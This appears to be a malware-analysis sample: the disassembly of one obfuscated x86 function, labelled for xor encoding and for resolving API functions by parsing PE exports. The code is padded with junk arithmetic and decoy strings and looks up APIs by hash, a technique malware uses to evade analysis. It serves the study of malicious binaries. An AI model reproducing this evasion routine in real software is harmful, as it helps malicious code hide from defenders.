Function at 0x10019601
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x10040a14]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x50], eax
mov eax, dword [str.IMHv]
push edi
mov dword [ebp - 0x4c], edx
mov edi, ebx
add eax, 0x3186566
inc edi
cmp word [edi*2 + str.ABOVE_NORMAL_PRIORITY_CLASS_], bx
jne 0x1001961e
mov edx, eax
mov dword [ebp - 0x48], eax
call fcn.1001717c
mov esi, dword [0x1003f070]
cmp dword [ebp - 0x48], edi
jae 0x1001966e
mov ebx, dword [ebp - 0x48]
mov ecx, str.Architecture
call fcn.100176a7
cmp ebx, 0x4e1
jne 0x10019661
mov esi, dword [ebp - 0x48]
and esi, 0xfce81d48
add esi, 0xf0d4386
inc ebx
cmp ebx, edi
jb 0x10019646
xor ebx, ebx
mov ecx, 0x5a4d
mov dword [ebp - 0x38], 0x207
mov eax, ebx
mov dword [ebp - 0x34], 0x2119
mov dword [ebp - 0x30], 0xe39
mov dword [ebp - 0x2c], 0xac3
mov dword [ebp - 0x28], 0x1939
mov dword [ebp - 0x24], 0x1e49
mov dword [ebp - 0x20], 0xec1
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0x2145
mov dword [ebp - 0x10], 0x1393
mov dword [ebp - 0xc], 0x19fb
cmp eax, 7
je 0x100196cc
inc eax
cmp eax, 0xc
jl 0x100196c1
mov eax, dword [ebp + eax*4 - 0x38]
mov ecx, 0x4550
mov dword [ebp - 0x6c], eax
mov eax, ebx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 0x1da6
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0x1516
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0x14d3
cmp eax, 3
je 0x10019706
inc eax
cmp eax, 7
jl 0x100196fb
mov eax, dword [ebp + eax*4 - 0x24]
mov ecx, 0x20f8
mov dword [ebp - 0x70], eax
mov eax, ebx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0x2536
mov dword [ebp - 0x24], 0x17c2
mov dword [ebp - 0x20], 0x1a94
mov dword [ebp - 0x1c], 0x1b15
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0x1202
cmp eax, 6
je 0x10019751
inc eax
cmp eax, 0xa
jl 0x10019746
mov eax, dword [ebp + eax*4 - 0x30]
xor esi, 0x7b7bf5b1
xor eax, 0xf8
mov dword [str.IMHv], esi
mov dword [ebp - 0x74], eax
imul eax, esi, 0x26db96c
mov dword [ebp - 8], eax
mov dword [0x1003f070], eax
call fcn.10017ffa
mov al, byte [str.Architecture]
lea edi, [ebp - 0x60]
mov esi, str.SF240000
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp al, byte [ebp - 0x60]
jne 0x100197b2
mov esi, ebx
test al, al
je 0x100197b2
cmp byte [ebp + esi - 0x60], 0
je 0x100197b2
push ecx
call fcn.10018e1b
mov al, byte [esi + 0x1003f18d]
inc esi
pop ecx
cmp al, byte [ebp + esi - 0x60]
je 0x10019793
mov dword [ebp - 0x34], 0x1f2
mov eax, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0x21f9
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x1274
mov dword [ebp - 0x14], 0x21d7
mov dword [ebp - 0x10], 0x217c
mov dword [ebp - 0xc], 0xad1
cmp eax, 6
je 0x100197f8
inc eax
cmp eax, 0xb
jl 0x100197ed
mov eax, dword [ebp + eax*4 - 0x34]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 8]
or eax, 0xcec9be4f
mov dword [ebp - 8], eax
mov dword [str.IMHv], eax
call fcn.10018a28
mov esi, str.afii57422
lea edi, [ebp - 0x60]
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [ebp - 0x60], 0x70
jne 0x10019889
mov cl, 0x70
test cl, cl
je 0x10019842
cmp byte [ebp + eax - 0x60], 0
je 0x10019842
mov cl, byte [eax + 0x100346f1]
inc eax
cmp cl, byte [ebp + eax - 0x60]
je 0x1001982a
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x44], eax
cmp edi, eax
jae 0x10019889
mov esi, eax
call fcn.10018343
cmp edi, 0x97a
jne 0x1001986a
mov edx, str.memory_load
mov ecx, str.ABOVE_NORMAL_PRIORITY_CLASS_
call fcn.100173ec
imul ebx, dword [0x1003f070], 0xe12a1180
mov dword [ebp - 8], ebx
mov dword [str.IMHv], ebx
call fcn.100168b3
inc edi
cmp edi, esi
jb 0x1001984e
xor ebx, ebx
mov edx, str.ABOVE_NORMAL_PRIORITY_CLASS_
push str.memory_load
mov ecx, edx
call fcn.10017d3d
pop ecx
call fcn.10016b49
xor ecx, ecx
mov dword [ebp - 0x20], 0xd00
inc ecx
mov dword [ebp - 0x1c], 0xd82
mov eax, ebx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0xd0a
cmp eax, 4
je 0x100198d1
inc eax
cmp eax, 7
jl 0x100198c6
mov eax, dword [ebp + eax*4 - 0x24]
xor eax, ecx
mov dword [ebp - 0x34], 0x225c
push 0x4b
pop ecx
mov dword [ebp - 0x7c], eax
mov eax, ebx
mov dword [ebp - 0x30], 0x2046
mov dword [ebp - 0x2c], 0x1352
mov dword [ebp - 0x28], 0x26de
mov dword [ebp - 0x24], 0x37
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0x263
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 0x22ee
mov dword [ebp - 0xc], 0x17f3
cmp eax, 8
je 0x1001992b
inc eax
cmp eax, 0xb
jl 0x10019920
mov eax, dword [ebp + eax*4 - 0x34]
mov esi, dword [ebp - 8]
xor eax, ecx
mov ecx, 0xaa
mov dword [ebp - 0x64], eax
mov eax, ebx
mov dword [ebp - 0x2c], ecx
and esi, 0x8a944802
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0x1e7b
mov dword [ebp - 0x18], 0x20de
mov dword [ebp - 0x14], 0xb1a
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0x158d
cmp eax, 7
je 0x1001997a
inc eax
cmp eax, 9
jl 0x1001996f
mov eax, dword [ebp + eax*4 - 0x2c]
xor eax, ecx
mov dword [ebp - 0x54], eax
call fcn.100185d7
mov ecx, 0x83
mov dword [ebp - 0x28], 0x6f9
sub esi, 0x50532b57
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x44], esi
mov eax, ebx
mov dword [0x1003f070], esi
mov dword [ebp - 0x24], 0x155d
mov dword [ebp - 0x20], 0x1a6d
mov dword [ebp - 0x1c], 0x8c9
mov dword [ebp - 0x18], 0x1d46
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 0x1236
test eax, eax
je 0x100199db
inc eax
cmp eax, 9
jl 0x100199d1
mov eax, dword [ebp + eax*4 - 0x2c]
mov edi, ebx
xor eax, ecx
cmp byte [str.Architecture], 0
mov dword [ebp - 0x68], eax
je 0x10019a12
mov ecx, str.ABOVE_NORMAL_PRIORITY_CLASS_
call fcn.10017abc
xor esi, 0x8bb05e28
inc edi
mov dword [0x1003f070], esi
cmp byte [edi + str.Architecture], 0
jne 0x100199ef
mov dword [ebp - 0x44], esi
call fcn.100188e2
mov esi, dword [ebp - 0x4c]
cmp esi, edi
jae 0x10019a6d
call fcn.10018343
cmp esi, 0x1064
jne 0x10019a3f
imul eax, dword [0x1003f070], 0x810bfce8
mov dword [0x1003f070], eax
call fcn.10018343
mov eax, dword [0x1003f070]
mov ecx, str.ABOVE_NORMAL_PRIORITY_CLASS_
mov ebx, dword [str.IMHv]
xor eax, 0x48ba2094
mov edx, ebx
mov dword [ebp - 0x44], eax
mov dword [0x1003f070], eax
mov dword [ebp - 8], ebx
call fcn.100171a2
inc esi
cmp esi, edi
jb 0x10019a1e
xor ebx, ebx
mov al, byte [str.memory_load]
lea edi, [ebp - 0x40]
push 0xe
pop ecx
mov esi, str.avcfg:__ProviderINI_Common_PerformActionOnStartup
mov byte [ebp - 1], al
rep movsd dword es:[edi], dword [esi]
mov edx, ebx
cmp al, byte [ebp - 0x40]
jne 0x10019afa
test al, al
je 0x10019aa1
cmp byte [ebp + edx - 0x40], 0
je 0x10019aa1
mov al, byte [edx + 0x1003f089]
inc edx
cmp al, byte [ebp + edx - 0x40]
je 0x10019a89
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x48], edx
cmp edi, edx
jae 0x10019afa
mov esi, dword [ebp - 0x44]
mov ebx, edx
call fcn.10018fc4
cmp edi, 0x987
jne 0x10019ad4
and esi, 0xe86ef3f9
mov dword [str.IMHv], esi
call fcn.10018343
mov esi, dword [0x1003f070]
sub esi, 0x776a5208
inc edi
mov dword [0x1003f070], esi
cmp edi, ebx
jb 0x10019ab0
mov eax, dword [str.IMHv]
xor ebx, ebx
mov dword [ebp - 8], eax
mov al, byte [str.memory_load]
mov dword [ebp - 0x44], esi
mov byte [ebp - 1], al
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x20], 0x2273
mov dword [ebp - 0x1c], 0x21da
mov dword [ebp - 0x18], 0x212e
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
test eax, eax
je 0x10019b27
inc eax
cmp eax, 7
jl 0x10019b1d
mov edx, dword [ebp + eax*4 - 0x24]
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0x33d
mov dword [ebp - 0x1c], 0x2268
mov dword [ebp - 0x18], 0x1853
mov dword [ebp - 0x14], 0x11a9
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
test edi, edi
je 0x10019b5c
inc edi
cmp edi, 7
jl 0x10019b52
mov edi, dword [ebp + edi*4 - 0x24]
mov eax, ebx
mov dword [ebp - 0x2c], 0x1ec8
mov dword [ebp - 0x28], 0x255d
mov dword [ebp - 0x24], 0x2539
mov dword [ebp - 0x20], 0xb79
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x17ae
mov dword [ebp - 0x14], 0x2014
mov dword [ebp - 0x10], 0x17d8
mov dword [ebp - 0xc], ebx
cmp eax, 8
je 0x10019ba4
inc eax
cmp eax, 9
jl 0x10019b99
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x2c]
mov dword [ebp - 0x48], eax
movzx eax, word [esi]
cmp eax, dword [ebp - 0x6c]
je 0x10019bf0
mov ecx, 0xa2
mov dword [ebp - 0x24], 0x1091
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0xbb1
mov dword [ebp - 0x14], 0x42d
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
cmp ebx, 5
je 0x10019be7
inc ebx
cmp ebx, 7
jl 0x10019bdc
mov eax, dword [ebp + ebx*4 - 0x24]
jmp 0x10019dfe
mov ecx, dword [esi + 0x3c]
mov eax, dword [ebp - 0x70]
add ecx, esi
cmp dword [ecx], eax
je 0x10019c8c
mov esi, str.llladeva
lea edi, [ebp - 0x60]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x60], 0x70
jne 0x10019c38
push 0x70
mov esi, ebx
pop eax
test al, al
je 0x10019c38
cmp byte [ebp + esi - 0x60], 0
je 0x10019c38
mov ecx, 0x1003f1d8
call fcn.100163d0
mov al, byte [esi + 0x100346f1]
inc esi
cmp al, byte [ebp + esi - 0x60]
je 0x10019c16
imul eax, dword [ebp - 8], 0xc35f76f2
mov ecx, 0x8e
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 0x167e
mov dword [ebp - 0x24], 0x1729
mov dword [ebp - 0x20], ecx
mov dword [0x1003f070], eax
mov dword [ebp - 0x1c], 0x22ae
mov dword [ebp - 0x18], 0x1b5e
mov dword [ebp - 0x14], 0x5bc
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
cmp ebx, 7
je 0x10019c83
inc ebx
cmp ebx, 9
jl 0x10019c78
mov eax, dword [ebp + ebx*4 - 0x2c]
jmp 0x10019dfe
movzx eax, word [ecx + 0x16]
and eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x78]
je 0x10019d17
mov eax, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x64]
cmp dword [ecx + eax*8 + 0x78], esi
je 0x10019d17
mov esi, dword [ebp - 0x54]
mov eax, dword [ebp - 0x68]
cmp dword [ecx + esi*8 + 0x7c], eax
je 0x10019d17
mov ebx, dword [ecx + edx*8 + 0x78]
mov esi, dword [ebp - 0x50]
add ebx, esi
mov eax, dword [ebx + 0x1c]
mov edx, dword [ebx + 0x20]
add edx, esi
mov dword [ebp - 0x54], edx
lea ecx, [eax + esi]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebx + 0x24]
add ecx, esi
mov dword [ebp - 0x68], ecx
cmp edi, eax
jae 0x10019cfa
mov esi, dword [edx + edi*4]
add esi, dword [ebp - 0x50]
mov ecx, esi
call fcn.1000fcb6
mov edx, eax
mov ecx, esi
call fcn.100191d3
cmp eax, dword [ebp - 0x4c]
je 0x10019d02
mov edx, dword [ebp - 0x54]
inc edi
cmp edi, dword [ebx + 0x1c]
jb 0x10019cd6
mov eax, dword [ebp - 0x48]
jmp 0x10019e00
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x50]
jmp 0x10019e00
cmp byte [str.Architecture], 0
mov esi, ebx
mov edi, dword [ebp - 0x44]
je 0x10019d3d
lea eax, [edi + 0x3c1f6acf]
mov dword [ebp - 8], eax
call fcn.100164cd
inc esi
cmp byte [esi + str.Architecture], 0
jne 0x10019d2e
call fcn.100181f1
cmp esi, 0x7e2
jbe 0x10019d5a
mov edx, dword [ebp - 8]
xor edx, 0xde23c3b5
call fcn.1001717c
jmp 0x10019d63
mov edi, dword [ebp - 8]
add edi, 0xc4533ccf
lea eax, [edi + 0x419616]
mov esi, str.Got_a_JPX_POC_segment
push 5
pop ecx
lea edi, [ebp - 0x20]
mov dword [ebp - 0x4c], eax
rep movsd dword es:[edi], dword [esi]
mov cl, byte [ebp - 1]
mov dword [str.IMHv], eax
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0x20]
jne 0x10019daf
mov esi, ebx
test cl, cl
je 0x10019dac
cmp byte [ebp + esi - 0x20], 0
je 0x10019dac
mov ecx, str.avcfg:__settings_UserInterface_HideTrayIcon
call fcn.100176a7
mov cl, byte [esi + 0x1003f089]
inc esi
cmp cl, byte [ebp + esi - 0x20]
je 0x10019d8a
mov eax, dword [ebp - 0x4c]
push 0x38
pop ecx
xor eax, 0xbaa6bff3
mov dword [ebp - 0x2c], 0xafa
mov dword [0x1003f070], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 0x2064
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0x794
mov dword [ebp - 0x18], 0x1710
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 0x814
mov dword [ebp - 0xc], 0x1a25
cmp ebx, 1
je 0x10019dfa
inc ebx
cmp ebx, 9
jl 0x10019def
mov eax, dword [ebp + ebx*4 - 0x2c]
xor eax, ecx
pop edi
pop esi
pop ebx
leave
ret